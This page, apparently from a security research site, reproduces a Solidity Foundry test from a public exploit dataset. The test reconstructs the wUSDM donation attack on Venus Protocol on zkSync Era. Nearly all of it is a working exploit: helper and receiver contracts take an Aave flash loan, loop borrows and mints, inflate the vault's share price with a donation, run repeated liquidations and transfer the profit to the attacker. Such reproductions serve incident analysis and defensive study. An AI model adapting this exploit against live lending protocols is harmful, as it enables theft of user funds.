Public reproduction file
src/test/2025-02/Venus_ZKSync_exp.sol
Public reproduction file for dataset entry Venus_ZKSync.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IAaveFlashloan, IERC20, IERC4626, IUnitroller} from "../interface.sol";7// @KeyInfo - Simplified explicit PoC (zkSync Era)8// Tx: https://explorer.zksync.io/tx/0x35a0172fb6bd450ceb29aa67dc85221826dfd0b7528375400b4ccf15c1eed0d89// Attack Contract : https://explorer.zksync.io/address/0x68c8020A052d5061760e2AbF5726D59D4ebe350610// Block: 5666998712// @Analysis13// Post-mortem :https://community.venus.io/t/post-mortem-wusdm-donation-attack-on-venus-zksync/500415interface IVTokenSimplified {16 function balanceOf(address owner) external view returns (uint256);18 function mint(uint256 mintAmount) external returns (uint256);20 function borrow(uint256 borrowAmount) external returns (uint256);22 function borrowBalanceStored(address account) external view returns (uint256);24 function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral) external returns (uint256);26 function redeem(uint256 redeemTokens) external returns (uint256);28 function redeemUnderlying(uint256 redeemAmount) external returns (uint256);30 function getAccountSnapshot(address account) external view returns (uint256, uint256, uint256, uint256);31}33contract ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper {34 IERC20 internal constant WETH = IERC20(0x5AEa5775959fBC2557Cc8789bC1bf90A239D9a91);35 IERC20 internal constant wUSDM = IERC20(0xA900cbE7739c96D2B153a273953620A701d5442b);36 IVTokenSimplified internal constant vWETH = IVTokenSimplified(0x1Fa916C27c7C2c4602124A14C77Dbb40a5FF1BE8);37 IVTokenSimplified internal constant vUSDM = IVTokenSimplified(0x183dE3C349fCf546aAe925E1c7F364EA6FB4033c);38 IUnitroller internal constant VENUS_COMPTROLLER = IUnitroller(0xddE4D098D9995B659724ae6d5E3FB9681Ac941B1);40 uint256 internal constant STANDARD_LIQUIDATION_ROUNDS = 34;41 uint256 internal constant STANDARD_LIQUIDATION_SIZE = 55_000 ether;42 uint256 internal constant FINAL_LIQUIDATION_SIZE = 12_000 ether;43 uint256 internal constant HELPER_FINAL_WETH_BORROW = 162_126_770_849_249_864_389;45 function prepare() external {46 address[] memory helperMarkets = new address[](1);47 helperMarkets[0] = address(vUSDM);48 wUSDM.approve(address(vUSDM), type(uint256).max);49 VENUS_COMPTROLLER.enterMarkets(helperMarkets);50 }52 function mintReceivedWUSDM(uint256 amount) external {53 require(vUSDM.mint(amount) == 0, "helper: mint wUSDM failed");54 }56 function returnWUSDM(address to, uint256 amount) external {57 require(wUSDM.transfer(to, amount), "helper: return wUSDM failed");58 }60 function run(address target) external {61 for (uint256 i = 0; i < STANDARD_LIQUIDATION_ROUNDS; i++) {62 require(63 vUSDM.liquidateBorrow(target, STANDARD_LIQUIDATION_SIZE, address(vWETH)) == 0,64 "helper: liquidate failed"65 );66 require(vUSDM.redeemUnderlying(STANDARD_LIQUIDATION_SIZE) == 0, "helper: redeem vUSDM failed");67 }68 require(69 vUSDM.liquidateBorrow(target, FINAL_LIQUIDATION_SIZE, address(vWETH)) == 0,70 "helper: final liquidate failed"71 );72 require(vUSDM.redeemUnderlying(FINAL_LIQUIDATION_SIZE) == 0, "helper: final redeem vUSDM failed");73 require(vWETH.redeem(vWETH.balanceOf(address(this))) == 0, "helper: redeem seized vWETH failed");74 require(vWETH.borrow(HELPER_FINAL_WETH_BORROW) == 0, "helper: final WETH borrow failed");75 require(WETH.transfer(target, WETH.balanceOf(address(this))), "helper: send WETH back failed");76 }77}79contract ZKSync_wUSDM_WETH_tx35a0_AttackReceiver {80 IERC20 internal constant WETH = IERC20(0x5AEa5775959fBC2557Cc8789bC1bf90A239D9a91);81 IERC20 internal constant USDM = IERC20(0x7715c206A14Ac93Cb1A6c0316A6E5f8aD7c9Dc31);82 IERC20 internal constant wUSDM = IERC20(0xA900cbE7739c96D2B153a273953620A701d5442b);83 IVTokenSimplified internal constant vWETH = IVTokenSimplified(0x1Fa916C27c7C2c4602124A14C77Dbb40a5FF1BE8);84 IVTokenSimplified internal constant vUSDM = IVTokenSimplified(0x183dE3C349fCf546aAe925E1c7F364EA6FB4033c);85 IUnitroller internal constant VENUS_COMPTROLLER = IUnitroller(0xddE4D098D9995B659724ae6d5E3FB9681Ac941B1);86 IAaveFlashloan internal constant AAVE = IAaveFlashloan(0x78e30497a3c7527d953c6B1E3541b021A98Ac43c);88 uint256 internal constant FLASH_LOAN_AMOUNT = 2_100 ether;89 uint256 internal constant FLASH_LOAN_REPAYMENT = 2_101_050_000_000_000_000_000;90 uint256 internal constant PRIMARY_VUSDM_BORROW = 466_050_324_957_200_501_801_273;91 uint256 internal constant PARTIAL_HELPER_VUSDM_MINT = 303_230_204_580_305_270_357_125;92 uint256 internal constant HELPER_WUSDM_RETURN = 107_820_120_376_895_231_444_148;93 uint256 internal constant FINAL_TARGET_VUSDM_BORROW = 303_201_456_628_859_639_068_587;94 uint256 internal constant TARGET_WUSDM_REDEEM_SHARES = 411_021_577_005_754_870_512_735;95 uint256 internal constant TARGET_TOTAL_WETH_SELF_REDEEM = 527_567_480_692_424_453_159;97 address internal immutable attacker;98 ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper internal immutable liquidationHelper;100 constructor(address attacker_, ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper liquidationHelper_) {101 attacker = attacker_;102 liquidationHelper = liquidationHelper_;103 }105 function prepare() external {106 address[] memory targetMarkets = new address[](1);107 targetMarkets[0] = address(vWETH);108 WETH.approve(address(vWETH), type(uint256).max);109 VENUS_COMPTROLLER.enterMarkets(targetMarkets);110 }112 function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata params)113 external114 returns (bool)115 {116 initiator;117 params;119 require(msg.sender == address(AAVE), "callback: not Aave pool");120 require(asset == address(WETH), "callback: unexpected asset");121 require(amount == FLASH_LOAN_AMOUNT, "callback: unexpected amount");122 require(premium == FLASH_LOAN_REPAYMENT - FLASH_LOAN_AMOUNT, "callback: unexpected premium");124 _runSetupPhase();125 _runLiquidationPhase();126 _runSettlementPhase(amount + premium);128 return true;129 }131 function _runSetupPhase() internal {132 require(vWETH.mint(FLASH_LOAN_AMOUNT) == 0, "target: mint vWETH failed");134 for (uint256 i = 0; i < 4; i++) {135 require(vUSDM.borrow(PRIMARY_VUSDM_BORROW) == 0, "target: vUSDM borrow failed");136 require(wUSDM.transfer(address(liquidationHelper), PRIMARY_VUSDM_BORROW), "target: send wUSDM failed");137 liquidationHelper.mintReceivedWUSDM(PRIMARY_VUSDM_BORROW);138 }140 require(vUSDM.borrow(PRIMARY_VUSDM_BORROW) == 0, "target: vUSDM borrow failed");141 require(wUSDM.transfer(address(liquidationHelper), PRIMARY_VUSDM_BORROW), "target: send wUSDM failed");142 liquidationHelper.mintReceivedWUSDM(PARTIAL_HELPER_VUSDM_MINT);143 liquidationHelper.returnWUSDM(address(this), HELPER_WUSDM_RETURN);145 require(vUSDM.borrow(FINAL_TARGET_VUSDM_BORROW) == 0, "target: final vUSDM borrow failed");146 require(vWETH.redeemUnderlying(TARGET_TOTAL_WETH_SELF_REDEEM) == 0, "target: merged WETH redeem failed");147 IERC4626(address(wUSDM)).redeem(TARGET_WUSDM_REDEEM_SHARES, address(this), address(this));148 require(USDM.transfer(address(wUSDM), USDM.balanceOf(address(this))), "target: donate USDM failed");149 }151 function _runLiquidationPhase() internal {152 liquidationHelper.run(address(this));153 }155 function _runSettlementPhase(uint256 repayment) internal {156 uint256 profit = WETH.balanceOf(address(this)) - repayment;157 require(WETH.transfer(attacker, profit), "target: transfer profit failed");158 require(WETH.approve(address(AAVE), repayment), "receiver: approve Aave failed");159 }160}162contract ZKSync_wUSDM_WETH_tx35a0_SimplifiedPoC is BaseTestWithBalanceLog {163 IERC20 internal constant WETH = IERC20(0x5AEa5775959fBC2557Cc8789bC1bf90A239D9a91);164 IERC20 internal constant wUSDM = IERC20(0xA900cbE7739c96D2B153a273953620A701d5442b);165 IVTokenSimplified internal constant vWETH = IVTokenSimplified(0x1Fa916C27c7C2c4602124A14C77Dbb40a5FF1BE8);166 IAaveFlashloan internal constant AAVE = IAaveFlashloan(0x78e30497a3c7527d953c6B1E3541b021A98Ac43c);168 address internal constant FROM = 0x16bE708e257a0dF0F4275eCD9B0f70cE4B45430C;169 uint256 internal constant BLOCK_BEFORE = 56_669_986;170 uint256 internal constant FLASH_LOAN_AMOUNT = 2_100 ether;171 uint256 internal constant EXPECTED_PROFIT = 86_721_141_300_659_762_817;172 uint256 internal constant EXPECTED_PROFIT_DRIFT = 25_000_000_000;173 uint256 internal constant HELPER_FINAL_WUSDM = 55_000_000_000_280_995_751_108;174 uint256 internal constant TARGET_FINAL_VWETH = 300_850_828;175 uint256 internal constant TARGET_FINAL_VWETH_DRIFT = 2;177 ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper internal liquidationHelper;178 ZKSync_wUSDM_WETH_tx35a0_AttackReceiver internal attackReceiver;180 function setUp() public {181 vm.createSelectFork("zksync", BLOCK_BEFORE);183 vm.label(address(WETH), "WETH(zkSync)");184 vm.label(address(wUSDM), "wUSDM(zkSync)");185 vm.label(address(vWETH), "Venus vWETH(Core)");186 vm.label(FROM, "history.attacker");188 liquidationHelper = new ZKSync_wUSDM_WETH_tx35a0_LiquidationHelper();189 attackReceiver = new ZKSync_wUSDM_WETH_tx35a0_AttackReceiver(FROM, liquidationHelper);191 vm.label(address(liquidationHelper), "poc.helper");192 vm.label(address(attackReceiver), "poc.receiver");194 liquidationHelper.prepare();195 attackReceiver.prepare();196 }198 function testSimplifiedAttackFlow() public {199 uint256 attackerWETHBefore = WETH.balanceOf(FROM);201 vm.prank(FROM, FROM);202 AAVE.flashLoanSimple(address(attackReceiver), address(WETH), FLASH_LOAN_AMOUNT, "", 0);204 uint256 attackerWETHAfter = WETH.balanceOf(FROM);205 uint256 attackerProfit = attackerWETHAfter - attackerWETHBefore;207 assertApproxEqAbs(attackerProfit, EXPECTED_PROFIT, EXPECTED_PROFIT_DRIFT, "unexpected WETH profit");208 assertEq(WETH.balanceOf(address(attackReceiver)), 0, "receiver should not keep WETH");209 assertEq(WETH.balanceOf(address(liquidationHelper)), 0, "helper should not keep WETH");210 assertEq(wUSDM.balanceOf(address(attackReceiver)), 0, "receiver should not keep wUSDM");211 assertEq(wUSDM.balanceOf(address(liquidationHelper)), HELPER_FINAL_WUSDM, "unexpected helper residual wUSDM");212 assertApproxEqAbs(213 vWETH.balanceOf(address(attackReceiver)),214 TARGET_FINAL_VWETH,215 TARGET_FINAL_VWETH_DRIFT,216 "unexpected receiver residual vWETH"217 );218 assertEq(vWETH.balanceOf(address(liquidationHelper)), 0, "helper should redeem all vWETH");219 }220}Analysis
Dataset entry
Public Foundry test for “Venus_ZKSync” (2025-02-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-02/Bybit_exp.solSame month in the dataset · 308 lines
- src/test/2025-02/FourMeme_exp.solSame month in the dataset · 245 lines
- src/test/2025-02/GMT7_exp.solSame month in the dataset · 86 lines
- src/test/2025-02/GoldReserve_exp.solSame month in the dataset · 136 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/HenloKart_exp.solSame month in the dataset · 80 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/LimitOrderProtocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/Scorch_exp.solSame month in the dataset · 115 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_35bc_exp.solSame month in the dataset · 91 lines
- src/test/2025-02/unverified_d4f1_exp.solSame month in the dataset · 57 lines
- src/test/2026-03/Venus_THE_exp.solSame protocol or name in the dataset · 227 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attack Contract
0x68c8020a052d5061760e2abf5726d59d4ebe3506
File record
- Name
- Venus_ZKSync
- Path
- src/test/2025-02/Venus_ZKSync_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b6bef3c6ac8dd3ee73e55c574ba5e127e32def6b
- Language
- Solidity
- Size
- 221 lines
- Date
- 2025-02-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/Venus_ZKSync_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b6bef3c6ac8dd3ee73e55c574ba5e127e32def6b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.